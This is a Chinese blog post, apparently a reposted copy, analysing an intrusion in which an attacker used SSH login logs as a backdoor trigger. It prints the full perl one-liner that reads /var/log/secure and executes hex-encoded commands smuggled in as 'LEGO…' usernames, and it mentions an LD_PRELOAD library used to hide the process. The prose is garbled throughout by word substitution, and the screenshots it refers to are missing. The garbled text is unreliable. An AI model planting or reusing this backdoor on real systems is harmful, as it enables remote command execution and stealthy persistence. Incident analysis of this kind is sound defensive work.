记一次安全应急响应中遇到的利用SSH日志触发的后门分析

前段光阴,在一次安然应急相应案例中碰到一个使用ssh 日志作为触发点的后门,感觉故意思,写下来,分享一下,迎接各位大年夜佬的拍砖与评论争论。

案例阐发

据客户反应,其近来发明ssh的登录日志中有很多掉败的登录考试测验,形如:

如上图,这些掉败的登任命户名都很稀罕,都因此LEGO开首的后面加上一串随机字符。感到有点稀罕,如果SSH 暴力猜解进击的话,不应该用这样的用户名啊。而且隔断光阴就会有同样的掉败登录考试测验,每次就一次,这也不像是暴力猜解啊,有点费解。

在客户授权登录的环境下,去办事器看了下:

从干净的系统上提取了ps、lsof等对象,先后排查了是否有pam 库后门、pam设置设置设备摆设摆设文件后门、sshd后门,rsyslog 设置设置设备摆设摆设文件后门,均无果,后又反省准时义务也没有问题;

使用ps 、top等对象查看进程信息也没有非常,还真是有点意思。

再反省下动态库有木有被挟制了吧,一查公然有问题:

先去掉落这个情况变量试下,发清楚明了非常进程:

后又跟客户确认,没有用到这个LD_PRELOAD情况变量,基础可以确认是进击者增添的用于暗藏进程的动态库。

使用lsof 查一下进程有木有关联相关文件:

进一步确认177a便是perl:

再去查下/tmp/177f 这个文件:

怎么这么面熟,这不便是/var/log/secure的内容吗?

比较下两个文件的inode id,发明是同等的,原本/tmp/177f 指向的便是/var/log/secure文件:

再去看下proc下117518这个可疑进程的fd信息,发明标准输入被重定向到/tmp/177f 也便是/var/log/secure这个文件:

至此基础弄清了可疑进程履行如下敕令:

perl -e’while(1){sleep(1);while(){system pack(“H*”,$1)if/LEGO(\w+)/}}’ log/secure

这里的LEGO是个匹配字符串,$1指的是LEGO后面匹配到的字符,也即(\w+)匹配到的字符,大年夜请安思便是从/var/log/secure 读取每一行的内容,然后匹配到LEGO后面的字符串,然后履行pack 函数返回的结果。

看来,/var/log/secure/log中 形如LEGO6964奸淫奸淫** 的登录账户名都是payload(后又提取/var/log/secure/log/ 中形如LEGO*的登录名,unpack之后,发明是个反弹shell,因隐私问题,这里就不颁发了)。

这里可以确定,这是个后门了,使用ssh 登录日志作为后门触发点,进击者每一次应用特定的账户名登录就会触发后门获取反弹shell。后面接着排查发明,此次入侵是由于redis未授权 端口开放导致的(redis 因此root运行的,也是没谁了。。)

总结

进击者有点粗心了,可能是忘怀删除/var/log/secure 中的登录痕迹了,要不然会更晚才能发明非常,排查大概会绕些弯子。

笔者此次分享在大年夜佬们眼中可能略显简单,不过对我来说,确学到了不少器械,也盼望更多的人分享自己的相应经历,盼望大年夜佬们分享更牛逼的相应经历

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包